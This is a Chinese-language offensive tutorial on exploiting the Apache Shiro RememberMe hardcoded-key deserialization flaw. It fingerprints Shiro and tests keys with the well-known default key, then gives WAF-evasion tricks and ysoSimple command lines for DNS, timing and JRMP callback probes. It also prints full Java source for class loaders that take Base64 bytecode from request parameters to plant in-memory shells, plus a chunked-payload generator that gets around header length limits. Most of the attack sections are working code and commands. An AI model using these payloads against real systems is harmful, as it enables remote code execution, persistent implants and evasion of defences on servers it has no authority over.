一文搞懂Shiro站点打法全思路

前言:

作为以Java反序列化为载体的经典老洞Shiro的RememberMe硬编码反序列化攻击,它在攻防演练中屡见不鲜,帮助攻防人员拿下一个又一个点。今天作为安服仔的笔者介绍Shiro硬编码Key反序列化的经典打法。笔者几次护网中都遇到几次Shiro,也总结了一点许经验,在这里与各位师傅们分享。同时作为安服仔我也造轮子搞了款自用的Java漏洞利用工具,本文章也会介绍自用的工具如何在Shiro中进行漏洞利用的。其实换成其他工具也是一样的道理,重要的是思路。

本文不仅仅限于Shiro,很多情况下Java反序列化黑盒测试也是差不多如此的思路。

思路:

思路章节介绍从网站Shiro的识别到内存马打入的完整思路:

  1. 目标网站是否使用Shiro:请求包发送Cookie: rememberMe\=1,返回包中出现deleteMe=1则为Shiro
  2. 加密方式和密钥Key识别:PrincipalCollectionShiroKeyTest
  3. 利用链/中间件环境/JDK版本确认:FindClassByDNS/FindGadgetByDNS/FindClassByBomb
  4. 利用链漏洞利用:直接攻击/字节码分离加载/JRMP反连/ShiroChunkPayload分块传输
  5. Shiro对抗WAF:HTTP请求包变形/Shiro-Base64混淆

1. 判断网站是否使用Shiro

第一步:互联网中任何登录框都可能是Shiro,那么该如何判断是否为Shiro呢?

答案很简单直接在Cookie后面加rememberMe,响应中出现Set-Cookie: rememberMe即为Shiro。像ShiroAttack2和BurpShiroPassiveScan这类工具也是这样判断的

image-20241214223341-gr8hjcz.png

2. 加密方式和密钥Key识别

确定站点为Shiro后,如何测试出它的加密方式和密钥key呢?通过研究发现当Shiro在处理RememberMe时候,如果密钥正确并且反序列化成功返回的是对象是PrincipalCollection,不会触发异常,响应包则不会带上deleteMe的头,所以可以序列化SimplePrincipalCollection对象来测试Shiro的加密方式和key是否正确。学习自:基于SimplePrincipalCollection检测key是否正确

工具YsoSimple:使用PrincipalCollectionShiroKeyTest利用链来检测当前key是否正确

-m YsoAttack -g PrincipalCollectionShiroKeyTest --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="

最后响应中没有Set-Cookie: rememberMe=deleteMe;即为AES加密模式和密钥Key均正确

image-20241214223840-dgvuma8.png

而在实战中通常我们使用ShiroAttack2或者来BurpShiroPassiveScan来批量爆破Shiro的key和加密方式。

3. Shiro对抗WAF

通常情况下遇到以下三种情况可判断为攻击被WAF拦截:

  • HTTP请求发出后连接立马被断开
  • HTTP响应码为403
  • HTTP响应中出现WAF的拦截防护页面

关于Shiro的反序列化绕WAF其实有很多种方式,归类下可以大致分为俩种:

  1. HTTP请求包变形
  2. Shiro-Base64编码混淆

3.1 HTTP请求包变形

Shiro的HTTP请求包变形过WAF:

  • HTTP请求方式变形
  • rememberMe前后加内容

3.1.1 HTTP请求方式变形

将HTTP请求改为PUT,DELETE,OPTIONS,TRACE,XXXX,或者不加都可以正常触发漏洞,这部分原理可以学习c0ny1师傅的shiro反序列化绕WAF之未知HTTP请求方法文章。

image-20241214222549-5ivaj3j.png

image-20241214222602-r4r6eh2.png

3.1.2 rememberMe前后加内容

在rememberMe前后都可添加若干个空格或者Tab来触发漏洞

image-20241214223023-zqs7clw.png

3.2 Shiro-Base64混淆

Shiro的Base64混淆过WAF:

  • Base64内容中混淆脏数据
  • Base64后加脏数据

3.2.1 Base64内容中混淆脏数据

Shiro时自己实现的Base64的编码和解码:org.apache.shiro.codec.Base64,它的Base64库对数据进行解密时会先剔除些不合法的特殊字符,简单分析下:

首先发送这样的payload,在Base64编码的字符前面加了俩个$$符,并且注意到在payload最后还有一个"="(这个后面会用到)

image-20231011005827-nxmpb4x.png

调试然后在CookieRememberMeManager这里会先获取rememberMe的字段内容,它会先剔除最后一个=等号之后的内容(所以我们也可以在=后面加脏字符来绕waf),然后再base64解码

image-20231011010534-yb3978b.png

进入ensurePadding方法然后再进入Base64#decode的逻辑,关键点就在discardNonBase64方法中

image-20231011011400-6o83plo.png

如果对某个字节的isBase64判断结果为false,则不会将其添加到加密的数组groomeData中。

image-20231011011614-dcm7o7g.png

isBase64方法的内容如下:所以只要让base64Alphabet[octect]==-1则可以不进入加密数组中,octect是ascii码值

image-20231011011822-r9t35z7.png
查了下ascii码表然后再对照base64Alphabet,或许可以填充以下字符来做为脏字符。

image-20231011012209-ti0r9am.png

最后经过测试Shiro Base64解密会对这些字符进行剔除{'$','#','&','!','%','*','-','.'}

在YsoSimple工具中添加-shiro-base64WafBypas参数并指定垃圾字符的数量来对Base64数据进行混淆,使用如下:

-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -shiro-base64WafBypass 150 --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="

测试效果:

image-20241214215703-fo4spu7.png

3.2.2 Base64后加脏数据

通过测试发现在Shiro加密的Base64数据后加一个"="等号然后接各种各样的脏数据都能触发漏洞利用:

image-20241214214703-hr02fsu.png

这个技巧在leveryd师傅的你的扫描器可以绕过防火墙么?(一)文章中有提及到,php、python、openresty都会不同程度地受Base64变形Payload影响。

3.3 WAF影响的情况

实战中遇到过俩次对PrincipalCollectionShiroKeyTest探测AES密钥和加密方式的Payload拦截的情况,通常我们爆破密钥使用ShiroAttack2或者BurpShiroPassiveScan插件,此类工具没有实现Shiro绕WAF的方式。当实战中PrincipalCollectionShiroKeyTest撞到WAF时,可以把绕WAF的方式补充到工具中然后再去爆破。

4. 利用链/中间件环境/JDK版本确认

第三步:当我们已经确定Shiro的加密方式和Key,这个点没有理由打不下来。这个时候初级安服可能想着工具一键化利用,但是很多工具不能说是完美打点漏洞利用,因为实战中目标环境也许不出网,没有常见利用链,中间件不是常见中间件,JDK也许高版本,Shiro自身Buggy的ClassLoader的坑。当我们用工具稀里糊涂的操作了半天发现内存马没有打进去,这里面出问题的情况可能很多,到时候肯定一头雾水,所以不如在漏洞利用之前我们就把目标站点环境的情况彻底摸清,到时候漏洞利用时就有清晰的思路。

4.1 起手式:URLDNS/FindClassByBomb JDK原生利用链初探

URLDNS:使用URLDNS利用链攻击,当DNS服务器收到请求后证明Shiro反序列化漏洞确系存在并且DNS出网,后续我们使用(FindClassByDNS/FindGadgetByDNS利用链)借助DNS探测目标系统存在的依赖,中间件环境,JDK版本。

URLDNS:以DNS的方式来探测目标是否dns出网,为后续FindGadgetByDNS探测环境做准备。

-m YsoAttack -g URLDNS -a "http://tonjwpkypp.dnsns.cn" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="

FindClassByBomb:使用FindClassByBomb利用链攻击,当利用链发出后本次响应后有明显的延迟则证明Shiro反序列化漏洞确系存在,如果上述URLDNS测试完后发现DNS不出网,后续我们可以继续使用FindClassByBomb探测目标系统存在的依赖,中间件环境,JDK版本。关于FindClassByBomb利用链的原理可以学习c0ny1大师的文章:构造java探测class反序列化gadget

-m YsoAttack -g FindClassByBomb -a "java.lang.String|20" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="

4.2 探测环境:FindClassByDNS/FindGadgetByDNS/FindClassByBomb

FindGadgetByDNS:FindClassByDNS和FindGadgetByDNS很类似的,这里介绍FindGadgetByDNS,它可以通过一次性反序列化同时探测目标环境中是否存在某些类,如果这些类存在就会收到这些类相关的DNS请求。关于FindGadgetByDNS利用链的原理可以学习kezibei大师的项目:Urldns

使用的注意事项:如果WAF有拦截或者中间件限制长度情况下,我们注意不能一次性探测太多因为利用链过长会被拦截

该利用的局限性:需要DNS出网

// 使用all探测 FindGadgetByDNS 能探测的所有内容

-m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:all"

// 对指定的内容进行探测,用竖杠分割开来

-m YsoAttack -g FindGadgetByDNS -a "string.dnslog.cn:CommonsBeanutils2|C3P0|Fastjson|Jackson"

FindClassByBomb:当利用链发出后本次响应后有明显的延迟则证明探测的类确系存在。如果目标环境DNS不出网,我们可以使用FindClassByBomb探测目标系统存在的依赖,中间件环境,JDK版本。

-m YsoAttack -g FindClassByBomb -a "org.apache.catalina.core.StandardContext|20"

4.3 需要探测的内容:OS/依赖/中间件/JDK

通常我们需要探测的内容有如下,以及我们为什么探测这些:

  • Gadget利用链:利用链是我们漏洞利用重要基石,只有目标系统存在该依赖我们才能利用成功


    • CB系列:注意CB19x,CB18x,CB16x,CB15x的suid均不相同。Shiro自带CB19
    • CC系列:CC10
    • C3P0系列:
    • Web中间件环境:目标Shiro可能跑在Tomcat/SpringMVC/Undertow/Jetty这种web框架下,不同框架种植不同的内存马
    • OS操作系统 windows/linux:后续如果我们分块落地写文件,需要先确定下操作系统
    • JDK版本:jdk版本不同Base64的全限定类名也不同,jdk高版本有Module防护模式

更多的探测内容:大佬们依据真实场景自行突破......

5. 利用链漏洞利用

第五步:有了前面的环境探测铺垫,我们已经把目标环境摸得差不多。此部分我们开始使用利用链进行漏洞利用,每个利用链最终会有不同的利用效果,本部分以CommonsBeautils利用链来介绍几种常见的Shiro利用方式。

5.1 利用链简单利用

在已经知晓目标系统依赖的情况下,先通过用dnslog或者sleep的方式测试下,确保我们的利用链能够正常使用,以CommonsBeautils利用链的Templateslmpl模式来举例:

Templateslmpl利用链dnslog出网测试:

-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:dnslog:vflbvindls.dnsns.org" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==""

延迟测试:

-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:sleep:5" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA==""

5.2 直接字节码加载

在目标系统没有任何坑点和限制条件下,直接在HTTP包的rememberMe部分直接发送Payload是最方便的利用方式:

-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T2992678354900.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="

5.3 JRMP反连攻击

JRMP攻击链的优势如下,可以学习Orange大师的文章:Pwn a CTF Platform with Java JRMP Gadget

优势:JRMPClient利用链Payload很短;能避免Jetty,Weblogic,Tomcat6.0,undertow此类中间件对TemplatesImpl无法反序列化的情况。

缺陷:需要TCP出网;目标系统JDK<8u241

漏洞利用方式分为俩步骤:JRMPListener开启监听,目标系统反序列化JRMPClient2利用链进行反连,目标系统收到JRMPListener发送的序列化数据紧接着反序列化CommonsBeanutils2利用链

  1. JRMPListener开启RMI服务端监听:
java -cp ysoSimple-1.0.1-all.jar cn.butler.yso.payloads.JRMPListener 2333 CommonsBeanutils2 "Templateslmpl:dnslog:ywsoxsrsvj.dnsns.org"
  1. 让目标系统反序列化JRMPClient完成攻击:
-m YsoAttack -g JRMPClient2 -a "127.0.0.1:2333" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="

5.4 字节码分离加载

在CommonsBeautils利用链的Templateslmpl模式下,因为它载体是代码执行,我们可以通过让TemplatesImpl执行的字节码是个字节码类加载的逻辑,把我们的内存马或真正漏洞利用效果的字节码放在请求体中,达到分离加载的效果。这个能显著减少rememberMe部分的Payload长度,同时漏洞利用也更加灵活。

实战中经常遇到的中间件是Tomcat和SpringMVC,下面我就按照这俩种来展示:

5.4.3 springmvc-shiro字节码分离加载

  1. 让Templateslmpl利用链加载"请求体参数类加载的字节码"
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T96325784464700.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="

T96325784464700.class 内容为读取请求参数classData中的Base64数据并解密然后类加载:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import java.util.List;  
import org.apache.shiro.codec.Base64;  
public class T96325784464700 extends AbstractTranslet {  
    public T96325784464700() {  
        try {  
            javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();  
            java.lang.reflect.Field r = request.getClass().getDeclaredField("request");  
            r.setAccessible(true);  
            String classData = request.getParameter("classData");  
            byte\[\] classBytes = org.apache.shiro.codec.Base64.decode(classData);  
            java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class\[\] {  
                byte\[\].class, int.class, int.class  
            }  

            );  
            defineClassMethod.setAccessible(true);  
            Class evilClass = (Class) defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(), new Object\[\] {  
                classBytes, new Integer(0), new Integer(classBytes.length)  
            }  

            );  
            evilClass.newInstance();  
        } catch (Exception var18) {}  
    }  
}
  1. 漏洞利用:在HTTP的remeberMe中填充上述第一步生成的payload,POST的user参数中填充Base64格式内存马:记得URI编码

image-20241214203447-vloixg9.png

5.4.2 tomcat-shiro字节码分离加载

  1. 让Templateslmpl利用链加载"请求体参数类加载的字节码"
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:class\_file:/tmp/T96325784464600.class" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="

T96325784464600.class 内容为读取请求参数user中的Base64数据并解密然后类加载:

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import java.util.List;  
import org.apache.shiro.codec.Base64;  

public class T96325784464600 extends AbstractTranslet {  
    private static Object getFV(Object var0, String var1) throws Exception {  
        Field var2 = null;  
        Class var3 = var0.getClass();  

        while(var3 != Object.class) {  
            try {  
                var2 = var3.getDeclaredField(var1);  
                break;  
            } catch (NoSuchFieldException var5) {  
                var3 = var3.getSuperclass();  
            }  
        }  

        if (var2 == null) {  
            throw new NoSuchFieldException(var1);  
        } else {  
            var2.setAccessible(true);  
            return var2.get(var0);  
        }  
    }  

    public T96325784464600() {  
        try {  
            String var3 = null;  
            boolean var4 = false;  
            Thread\[\] var5 = (Thread\[\])getFV(Thread.currentThread().getThreadGroup(), "threads");  

            for(int var6 = 0; var6 < var5.length; ++var6) {  
                Thread var7 = var5\[var6\];  
                if (var7 != null) {  
                    String var2 = var7.getName();  
                    if (!var2.contains("exec") && var2.contains("http")) {  
                        Object var1 = getFV(var7, "target");  
                        if (var1 instanceof Runnable) {  
                            try {  
                                var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");  
                            } catch (Exception var17) {  
                                continue;  
                            }  

                            List var9 = (List)getFV(var1, "processors");  

                            for(int var10 = 0; var10 < var9.size(); ++var10) {  
                                Object var11 = var9.get(var10);  
                                var1 = getFV(var11, "req");  
                                Object var12 = var1.getClass().getMethod("getNote", Integer.TYPE).invoke(var1, new Integer(1));  
                                var3 = (String)var12.getClass().getMethod("getParameter", String.class).invoke(var12, new String("user"));  
                                if (var3 != null && !var3.isEmpty()) {  
                                    byte\[\] var13 = Base64.decode(var3);  
                                    Method var14 = ClassLoader.class.getDeclaredMethod("defineClass", byte\[\].class, Integer.TYPE, Integer.TYPE);  
                                    var14.setAccessible(true);  
                                    Class var15 = (Class)var14.invoke(this.getClass().getClassLoader(), var13, new Integer(0), new Integer(var13.length));  
                                    var15.newInstance().equals(var12);  
                                    var4 = true;  
                                }  

                                if (var4) {  
                                    break;  
                                }  
                            }  
                        }  
                    }  
                }  
            }  
        } catch (Exception var18) {  
        }  

    }  
}
  1. 漏洞利用:在HTTP的remeberMe中填充上述第一步生成的payload,POST的user参数中填充Base64格式内存马:记得URI编码

image-20241214203345-1qjca6h.png

其实从代码中也可以看出这种方式的技术点是获取request对象然后去读取我们设定参数中的内容来类加载,不同的中间件获取request对象的方式不同,这个点要注意...

5.5 分块传输种马

Shiro攻防中还有个经典的问题就是Header的长度限制,通常情况下对Shiro的Header的限制可能是WAF也可能是Tomcat这种中间件。不考虑修改Tomcat的修改MaxHeaderSize和绕WAF的手段,单从缩小Payload长度来做,有什么办法呢?我们经常漏洞利用使用TemplatesImpl模式利用链,它的载体是代码执行,所以操作余地很多,下面介绍这种模式下的分块利用。

首先明白影响我们发送Payload长度的因素,有俩种情况:

  1. Gadgets利用链的长度:CommonsBeanutils此类利用链是加载AbstractTranslet继承类的字节码来利用的,这块有无办法缩短
  2. 漏洞利用加载字节码长度:种植内存马时候,它的字节码长度本来就不小,如果嵌入到利用链中就会使Payload变得更长

5.5.1 Gadgets利用链长度缩短

对于TemplatesImpl系列的利用链,学习了下4ra1n师傅的终极Java反序列化Payload缩小技术文章。整理下就是从TemplatesImpl链角度缩小和从加载的字节码角度缩小

TemplatesImpl加载的字节码类缩小手段:

  • ByteCodes字节码类中捕获的异常不处理
  • LINENUMBER指令删除
  • 使用javassist生成字节码
  • 删除继承AbstractTranslet类需要重写的俩个方法(使用javassist生成的字节码自动没有重写)

TemplatesImpl链缩小手段:

  • 设置_name属性是一个字符
  • 其中_tfactory属性
    Gadgets#createCompressTemplatesImpl方法:

    ```java

    if(command.toLowerCase().startsWith(CustomCommand.COMMAND_CLASS_FILE)){
    classBytes = CommonUtil.readFileByte(command.substring(CustomCommand.COMMAND_CLASS_FILE.length()));
    }else if(command.toLowerCase().startsWith(CustomCommand.COMMAND_CLASS_BASE64)){
    classBytes = new BASE64Decoder().decodeBuffer(command.substring(CustomCommand.COMMAND_CLASS_BASE64.length()));
    } else {
    CtClass clazz = classPool.makeClass("C");
    clazz.defrost();
    String code = TemplatesImplUtil.getCmd(command);
    clazz.makeClassInitializer().insertAfter(code);
    CtClass superC = classPool.get(AbstractTranslet.class.getName());
    clazz.setSuperclass(superC);
    clazz.getClassFile().setVersionToJava5();
    classBytes = clazz.toBytecode();
    }
    //使用ASM删除LINENUMBER指令
    byte[] asmResolveBytes = asmResolveClassBytes(classBytes);
    ```

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {asmResolveBytes});
Reflections.setFieldValue(templates, "_name", "P"); //设置_name名称可以是一个字符
//其中_tfactory属性可以删除(分析TemplatesImpl得出)
return templates;

### 5.5.2 分块字节码长度

其实最严重的就是我们想要加载的字节码长度太长,从字节码角度其实不太好进行优化缩短。类加载的角度可以从URL进行远程类加载URLClassLoader,也可以读取某个位置的字节码内容然后ClassLoader#defineClass来类加载。所以可以转换思路将字节码分段写在某些位置,然后用类加载器来加载。

字节码写入的位置:分块写字节码并加载,学习bmth666的[Shiro绕过Header长度限制进阶利用](http://www.bmth666.cn/2024/11/03/Shiro%E7%BB%95%E8%BF%87Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/)文章,大师傅介绍了三种方法:

-   落地写文件并加载

-   线程名写字节码并加载

-   设置系统属性写字节码并加载

bmth666师傅文章中把最后的构造过程也提供出来了,稍作修改就可以直接使用。下面是我补充的设置系统属性写字节码并加载
```java
package cn.butler.yso.exploit;  

import cn.butler.payloads.ObjectPayload;  
import cn.butler.yso.Serializer;  
import org.apache.shiro.Encrypt.CbcEncrypt;  
import org.apache.shiro.Encrypt.ShiroGCM;  

import java.io.IOException;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.nio.file.StandardOpenOption;  
import java.util.Base64;  

public class ShiroChunkPayload {  
    public static String gadget = "CommonsBeanutils2";  
    public static String aesModel = "CBC";  
    public static String shirokey = "kPH+bIxk5D2deZiIxcaaaA==";  
    public static String fileClassByteCode;  
    public static String fileOutput;  
    public static void main(String\[\] args) throws Exception{  
        // 解析命令行参数  
        for (int i = 0; i < args.length; i ++ ) {  
            switch (args\[i\]) {  
                case "-h":  
                    System.out.println("Usage: java -cp ysoSimple.jar cn.butler.yso.exploit.ShiroChunkPayload \[-g <gadget>\] \[-m <aseModel>\] \[-k <shiroKey>\] \[-f <fileClassByteCode>\] \[-o <fileOutput>\] \[-h\]");  
                    return;  
                case "-g":  
                    gadget = args\[i+1\];  
                    break;  
                case "-m":  
                    aesModel = args\[i+1\];  
                    break;  
                case "-k":  
                    shirokey = args\[i+1\];  
                    break;  
                case "-f":  
                    fileClassByteCode = args\[i+1\];  
                    break;  
                case "-o":  
                    fileOutput = args\[i+1\];  
                    break;  
            }  
        }  
//        String gadget = args\[0\];  
//        String aesModel = args\[1\];  
//        String shirokey = args\[2\];  
        // 文件中是字节码的位置  
//        String fileClassByteCode = args\[3\];  
        String base64 = Base64.getEncoder().encodeToString(Files.readAllBytes(Paths.get(fileClassByteCode)));  
//        String fileName = args\[4\];  
        System.out.println("\[+\] Yso Gadget: " + gadget);  
        System.out.println("\[+\] Shiro AES Model: " + aesModel);  
        System.out.println("\[+\] Shiro Key: " + shirokey);  
        System.out.println("\[+\] Base64 ClassData Length: " + base64.length());  
        System.out.println("\[+\] Chunk Payload Write To: " + fileOutput);  
        System.out.println("----------------------------------------");  
        // 定义每个数据块的大小为1000字符  
        int groupSize = 1000;  
        // 获取Base64字符串的长度  
        int length = base64.length();  
        // 初始化起始索引为0,表示从字符串的第一个字符开始处理  
        int startIndex = 0;  
        // 计算结束索引,确保不超过字符串的总长度,取较小值  
        int endIndex = Math.min(length, groupSize);  
        // 分块数量  
        int a = 1;  

        //分块设置系统属性的反序列化Gadget生成  
        System.out.println("\[\*\] 开始生成设置系统属性的Payload:");  
        while (startIndex < length) {  
            String group = base64.substring(startIndex, endIndex);  
            startIndex = endIndex; //ShiroChunk  
            endIndex = Math.min(startIndex + groupSize, length);  
            String command =  "Templateslmpl:system\_set\_property:" + String.valueOf(a) + ":" + group;  
            //序列化Gadget  
            Object gadgetPayload = ysoGadgetGenerate(gadget, command);  
            //AES加密  
            String aesEncryptPayload = aesEncryptGenerate(gadgetPayload,aesModel,shirokey);  
            String describe = String.format("\[\*\] 第 %d 组数据长度为: %d",a,aesEncryptPayload.length());  
            System.out.println(describe);  
            System.out.println(aesEncryptPayload);  
            appendToFile(fileOutput,aesEncryptPayload);  
            System.out.println("----------------------------------------");  
            a++;  
        }  

        System.out.println(String.format("\[\*\] 写入分块设置系统属性的反序列化Gadget到 %s 中",fileOutput));  
        System.out.println("----------------------------------------");  

        //系统属性类加载的反序列化Gadget生成  
        System.out.println("\[\*\] 开始生成类加载的Payload:");  
        String command = "Templateslmpl:system\_property\_classloader:" + String.valueOf(a);  
        //序列化Gadget  
        Object gadgetPayload = ysoGadgetGenerate(gadget, command);  
        //AES加密  
        String aesEncryptPayload = aesEncryptGenerate(gadgetPayload,aesModel,shirokey);  
        String describe = String.format("\[\*\] 系统属性类加载的反序列化Gadget长度为: %d",aesEncryptPayload.length());  
        System.out.println(describe);  
        System.out.println(aesEncryptPayload);  
    }  

    /\*\*  
     \* 生成指定的Yso的Gadget  
     \* @param gadget  
     \* @param payload  
     \* @return  
     \*/  
    private static Object ysoGadgetGenerate(String gadget,String payload){  
        return ObjectPayload.Utils.makePayloadObject("YsoAttack", gadget, payload);  
    }  

    /\*\*  
     \* 序列化Gadget并进行AES加密  
     \* @param object  
     \* @param aesModel  
     \* @param shirokey  
     \* @return  
     \* @throws IOException  
     \*/  
    private static String aesEncryptGenerate(Object object,String aesModel,String shirokey) throws IOException {  
        byte\[\] serialize = Serializer.serialize(object);  
        String encryptPayload = "";  
        if(aesModel != null && aesModel.equals("GCM")){  
            //AES-GCM,Base64  
            ShiroGCM shiroGCM = new ShiroGCM();  
            encryptPayload = shiroGCM.encrypt(shirokey,serialize);  
        }else {  
            //AES-CBC,Base64  
            CbcEncrypt cbcEncrypt = new CbcEncrypt();  
            encryptPayload = cbcEncrypt.encrypt(shirokey,serialize);  
        }  
        return encryptPayload;  
    }  

    /\*\*  
     \* 将数据追加到文件中,并且每次追加数据时换行  
     \*  
     \* @param fileName 文件名  
     \* @param data 要追加的数据  
     \*/  
    public static void appendToFile(String fileName, String data) {  
        try {  
            //使用 Files.write() 方法追加数据,并在数据前加上换行符  
            //StandardOpenOption.CREATE 确保如果文件不存在则会被创建。  
            //StandardOpenOption.APPEND 确保数据会被追加到文件末尾,而不是覆盖原有内容。  
            Files.write(Paths.get(fileName),("\\n" + data).getBytes(),StandardOpenOption.CREATE, StandardOpenOption.APPEND);  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
}

YsoSimple工具中的TemplatesImplUtil中增加system_set_propertysystem_property_classloader的场景:

}else if (command.toLowerCase().startsWith(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_SET)) {  
    String nameAndValue = command.substring(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_SET.length());  
    String\[\] nameAndValueArray = nameAndValue.split(":", 2); // 使用第一个冒号进行切割,限制切割为最多两个部分  
    cmd = String.format("System.setProperty(\\"%s\\",\\"%s\\");",nameAndValueArray\[0\],nameAndValueArray\[1\]);  
}else if (command.toLowerCase().startsWith(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_CLASSLOADER)) {  
    String systemNumber = command.substring(CustomCommand.COMMAND\_SYSTEM\_PROPERTY\_CLASSLOADER.length());  
    int a = Integer.valueOf(systemNumber);  
    String bytestr ="";  
    for(int i=1;i<=a-1;i++){  
        if(i<a-1){  
            bytestr = bytestr + "System.getProperty(\\""+i+"\\")+";  
        }else {  
            bytestr = bytestr + "System.getProperty(\\""+i+"\\");";  
        }  
    }  
    cmd = "{try {\\n" +  
        "ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\\n" +  
        "String base64Str = "+bytestr+"\\n" +  
        "byte\[\] clazzByte = org.apache.shiro.codec.Base64.decode(base64Str);\\n" +  
        "java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\\"defineClass\\", new Class\[\]{byte\[\].class,int.class,int.class});\\n" +  
        "defineClass.setAccessible(true);\\n" +  
        "Class clazz = (Class)defineClass.invoke(classLoader,new Object\[\]{clazzByte, new Integer(0), new Integer(clazzByte.length)});\\n" +  
        "clazz.newInstance();\\n" +  
        "}catch (Exception e){}}";  
}

ysoSimple.jar中ShiroChunkPayload使用方式:

java -cp ysoSimple-1.0.1-all.jar cn.butler.yso.exploit.ShiroChunkPayload -g CommonsBeanutils2 -m CBC -k kPH+bIxk5D2deZiIxcaaaA== -f /tmp/HTMLUtil.class -o /tmp/ShiroChunk.txt

使用上述命令后的工具生成的最终效果:

image-20241203214725-zp1el0w.png

然后将 C:\Users\butler\Desktop\Random\Shiro\ShiroChunk.txt 放入Yakit进行发包,在目标系统中的系统属性中写入字节码

image-20241203215012-v22k3cf.png

最后发送类加载的Payload将会执行上述的字节码逻辑

image-20241203215101-w0yi1fo.png

上面ShiroChunkPayload生成的分块Payload没有增加Shiro Base64的混淆,所以可能会被WAF针对拦截,这块涉及到绕WAF可以参考前面绕WAF的思路。如果要增加Base64混淆绕WAF,师傅们可以简单改改。

中间件对TemplatesImpl影响(坑点)

实战中有次遇到undertow中间件,经过前期的信息探测确系目标出网且存在CB19x的依赖。但是漏洞利用时候发现无法使用CB的TemplatesImpl利用链攻击,非常的奇怪,因为出网而且目标正好是jdk低版本。最后用JRMPClient2的的反连二次反序列化打进去了。

后来发现有大佬也遇到中间件对TemplatesImpl报错的情况:https://github.com/feihong-cs/ShiroExploit-Deprecated/issues/36

目前整理的对TemplatesImpl的利用可能产生影响的中间件:Jetty,Weblogic,Tomcat6.0,undertow

因为只影响CB打TemplatesImpl,所以我们可以切换CB的其他打法进行漏洞利用:CommonsBeanutils-LdapAttribute。CB还有个SignedObject二次反序列化打法,我本地搭建Tomcat6.0对SignedObject反序列化打法测试,发现也是报同样的错误,这个打法也是打不成:

image-20241214163653-tj0rrw9.png

总结:在遇到Jetty,Weblogic,Tomcat6.0,undertow中间件时会遇到TemplatesImpl无法正常利用的情况,我们切换思路可继续漏洞利用:

  • JRMPClient反连:JRMP协议的反序列化利用,jdk<8u24。项目中遇到太低的jdk好像也打不了这个(jdk1.6)
  • CommonsBeanutils-LdapAttribute:ldap注入。这个注意ldap地址必须是:ldap://127.0.0.1:1389/,后面不能加东西

    bash -m YsoAttack -g CommonsBeanutils2 -a "LdapAttribute:ldap://127.0.0.1:1389/" --shiro-encrypt "AES-CBC" --shiro-key "kPH+bIxk5D2deZiIxcaaaA=="
    - C3P0利用链攻击

结尾:

实战中我们可能遇到各种各样的环境,遇到复杂的场景时候必须要明确思路,如果能在本地模拟环境就先在模拟环境把漏洞利用调好,最后到实际环境中去攻防。未完持续......

Reference

https://github.com/B0T1eR/ysoSimple

https://github.com/B0T1eR/ysoSimple/blob/master/ysoSimple-Wiki.md#5shiro550%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96ysoattack

https://gv7.me/articles/2021/shiro-deserialization-bypasses-waf-through-unknown-http-method/

https://mp.weixin.qq.com/s/cQCYhBkR95vIVBicA9RR6g

https://mp.weixin.qq.com/s/P5h9_K4YcvsrU4tsdHsJdQ

https://gv7.me/articles/2021/construct-java-detection-class-deserialization-gadget/

https://github.com/kezibei/Urldns

https://blog.orange.tw/posts/2018-03-pwn-ctf-platform-with-java-jrmp-gadget/

http://www.bmth666.cn/2024/11/03/Shiro%E7%BB%95%E8%BF%87Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E8%BF%9B%E9%98%B6%E5%88%A9%E7%94%A8/

https://github.com/feihong-cs/ShiroExploit-Deprecated/issues/36

标签: Shiro, Java反序列化, RememberMe, PrincipalCollection, FindClassByDNS, JRMP, ShiroChunkPayload, Base64混淆, YsoSimple, ShiroAttack2

添加新评论